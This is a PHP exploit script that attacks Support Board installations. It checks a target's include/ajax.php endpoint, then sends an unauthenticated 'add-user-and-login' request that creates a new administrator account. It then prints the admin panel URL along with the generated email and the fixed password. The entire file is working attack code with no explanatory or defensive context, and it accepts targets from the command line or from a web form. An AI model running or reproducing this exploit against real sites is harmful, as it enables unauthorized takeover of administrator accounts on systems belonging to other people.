exploit.php

<?php
class Exploit
{
    private $exp = "/supportboard/supportboard/include/ajax.php";
    public $target;

    public function generateRandomString($length = 10)
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }
        return $randomString;
    }


    public function InterfaceExploit()
    {
        if (php_sapi_name() == 'cli') {
            $this->GetTarget($this->target = readline("Targets : "));
        } else {
            $this->GetTarget(htmlspecialchars($_POST['t']));
        }
    }

    public function runExploit($email)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->target . $this->exp);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "function=add-user-and-login&settings[email]=$email@ecchi.com&settings[profile_image]=ecchi&settings[user_type]=admin&settings[first_name]=ecchiexploit&settings[password]=ecchi");
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        return curl_exec($ch);
        curl_close($ch);
    }

    public function CheckTargets()
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->target . $this->exp);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        return curl_exec($ch);
        curl_close($ch);
    }

    public function GetTarget($get)
    {
        $this->target = $get;
        $email = $this->generateRandomString();
        if (preg_match("/true/", $this->CheckTargets()) === 1) {
            $this->runExploit($email);
            echo "Success   : $this->target/supportboard/supportboard/admin.php" . PHP_EOL;
            echo "Email     : $email@ecchi.com" . PHP_EOL;
            echo "Password  : ecchi";
        } else {
            echo "Not Vuln";
        }
    }
}